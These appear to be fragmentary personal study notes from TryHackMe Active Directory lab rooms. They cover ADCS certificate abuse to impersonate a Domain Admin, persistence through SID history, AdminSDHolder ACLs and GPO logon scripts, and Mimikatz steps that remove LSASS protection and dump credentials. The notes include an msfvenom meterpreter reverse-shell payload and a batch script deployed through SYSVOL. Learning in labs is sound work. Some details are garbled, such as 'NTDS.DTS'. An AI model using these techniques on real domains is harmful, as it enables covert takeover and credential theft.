parameters
    Client Authentication - The certificate can be used for Client Authentication.
    CT_FLAG_ENROLLEE_SUPPLIES_SUBJECT - The certificate template allows us to specify the Subject Alternative Name (SAN).
    CTPRIVATEKEY_FLAG_EXPORTABLE_KEY - The certificate will be exportable with the private key.
    Certificate Permissions - We have the required permissions to use the certificate template.

    Click Start->run
    Type mmc and hit enter
    Click File->Add/Remove Snap-in..
    Add the Certificates snap-in and make sure to select Computer Account and Local computer on the prompts.
    Click OK


        Right Click on Personal and select All Tasks->Request New Certificate...
    Click Next twice to select the AD enrollment policy.
    You will see that we have one template that we can request, but first, we need to provide additional information.
    Click on the More Information warning.
    Change the Subject name Type option to Common Name and provide any value, since it does not matter, and click Add.
    Change the Alternative name Type option to User principal name.
    Supply the UPN of the user you want to impersonate. The best would be a DA account such as Administrator@za.tryhackme.loc and click Add.




        Right-click on the certificate and select All Tasks->Export...
    Click Next, select Yes, export the private key, and click Next.
    Click Next, then set a password for the certificate since the private key cannot be exported without a password.
    Click Next and select a location to store the certificate.
    Click Next and finally click Finish.

############## Persisting Active Directory #########

we should attempt to persist through credentials such as the following:

Credentials that have local administrator rights on several machines. Usually, organisations have a group or two with local admin rights on almost all computers. These groups are typically divided into one for workstations and one for servers. By harvesting the credentials of members of these groups, we would still have access to most of the computers in the estate.
Service accounts that have delegation permissions. With these accounts, we would be able to force golden and silver tickets to perform Kerberos delegation attacks.
Accounts used for privileged AD services. If we compromise accounts of privileged services such as Exchange, Windows Server Update Services (WSUS), or System Center Configuration Manager (SCCM), we could leverage AD exploitation to once again gain a privileged foothold.

    /target - The hostname of our target server. Let's do THMSERVER1.za.tryhackme.loc, but it can be any domain-joined host.
    /rc4 - The NTLM hash of the machine account of our target. Look through your DC Sync results for the NTLM hash of THMSERVER1$. The $ indicates that it is a machine account.

    CaCertPath - The path to our exported CA certificate.
    CaCertPassword - The password used to encrypt the certificate. By default, Mimikatz assigns the password of mimikatz.
    Subject - The subject or common name of the certificate. This does not really matter in the context of what we will be using the certificate for.
    SubjectAltName - This is the User Principal Name (UPN) of the account we want to impersonate with this certificate. It has to be a legitimate user.
    NewCertPath - The path to where ForgeCert will store the generated certificate.
    NewCertPassword - Since the certificate will require the private key exported for authentication purposes, we must set a new password used to encrypt it.

# Persistence through SID History 

notes about this persistence technique:

    We normally require Domain Admin privileges or the equivalent thereof to perform this attack.
    When the account creates a logon event, the SIDs associated with the account are added to the user's token, which then determines the privileges associated with the account. This includes group SIDs.
    We can take this attack a step further if we inject the Enterprise Admin SID since this would elevate the account's privileges to effective be Domain Admin in all domains in the forest.
    Since the SIDs are added to the user's token, privileges would be respected even if the account is not a member of the actual group. Making this a very sneaky method of persistence. We have all the permissions we need to compromise the entire domain (perhaps the entire forest), but our account can simply be a normal user account with membership only to the Domain Users group. We can up the sneakiness to another level by always using this account to alter the SID history of another account, so the initial persistence vector is not as easily discovered and remedied.

# Persistence through ACLs

Persisting through AD Group Templates
AdminSDHolder container  container exists in every AD domain, and its Access Control List (ACL) is used as a template to copy permissions to all protected groups. 

Domain Admins, Administrators, Enterprise Admins, and Schema Admins.

 process called SDProp takes the ACL of the AdminSDHolder container and applies it to all protected groups every 60 minutes


 runas /netonly /user:Administrator cmd.exe



Once you have an MMC window, add the Users and Groups Snap-in (File->Add Snap-In->Active Directory Users and Groups). Make sure to enable Advanced Features (View->Advanced Features). We can find the AdminSDHolder group under Domain->System:


Navigate to the Security of the group (Right-click->Properties->Security):

low-privileged user and grant Full Control:

    Click Add.
    Search for your low-privileged username and click Check Names.
    Click OK.
    Click Allow on Full Control.
    Click Apply.
    Click OK.

# Persistence through GPOs 

Domain Wide Persistence

The following are some common GPO persistence techniques:

    Restricted Group Membership - This could allow us administrative access to all hosts in the domain
    Logon Script Deployment - This will ensure that we get a shell callback every time a user authenticates to a host in the domain. 


    msfvenom -p windows/x64/meterpreter/reverse_tcp lhost=persistad lport=4445 -f exe > <username>_shell.exe
    runas /netonly /user:Administrator cmd.exe
    create admin.bat 
    copy \\za.tryhackme.loc\sysvol\za.tryhackme.loc\scripts\<username>_shell.exe C:\tmp\<username>_shell.exe && timeout /t 20 && C:\tmp\<username>_shell.exe

    scp am0_shell.exe za\\Administrator@thmdc.za.tryhackme.loc:C:/Windows/SYSVOL/sysvol/za.tryhackme.loc/scripts/
    scp am0_script.bat za\\Administrator@thmdc.za.tryhackme.loc:C:/Windows/SYSVOL/sysvol/za.tryhackme.loc/scripts/


    
    GPO Creation

    The first step uses our Domain Admin account to open the Group Policy Management snap-in:

    In your runas-spawned terminal, type MMC and press enter.
    Click on File->Add/Remove Snap-in...
    Select the Group Policy Management snap-in and click Add
    Click OK

    Run the standard cmd.exe prompt with administrator privileges.

    Verify the creation from step 2 is available.

mimikatz Protected LSASS

In 2012, Microsoft implemented an LSA protection, to keep LSASS from being accessed to extract credentials from memory. This task will show how to disable the LSA protection and dump credentials from memory using Mimikatz. To enable LSASS protection, we can modify the registry RunAsPPL DWORD value in HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Lsa to 1.

mimikatz # sekurlsa::logonpasswords
ERROR kuhl_m_sekurlsa_acquireLSA ; Handle on memory (0x00000005)

0x00000005 error code message (Access Denied). Lucky for us, Mimikatz provides a mimidrv.sys driver that works on kernel level to disable the LSA protection. We can import it to Mimikatz by executing "!+" as follows,

mimikatz # !+

Note: If this fails with an isFileExist error, exit mimikatz, navigate to C:\Tools\Mimikatz\ and run the command again.

mimikatz # !processprotect /process:lsass.exe /remove



# Credentials Manager

There are four credential categories:

    Web credentials contain authentication details stored in Internet browsers or other applications.
    Windows credentials contain Windows authentication details, such as NTLM or Kerberos.
    Generic credentials contain basic authentication details, such as clear-text usernames and passwords.
    Certificate-based credentials: Athunticated details based on certifications.

# NTDS Domain Controller

NTDS.DTS data consists of three tables as follows:

    Schema table: it contains types of objects and their relationships.
    Link table: it contains the object  attributes and their values.
    Data type: It contains users and groups.


in order to decrypt ntd.dts we must have system boot key to decrypt lsa isolated credential which store on SYSTEM file system
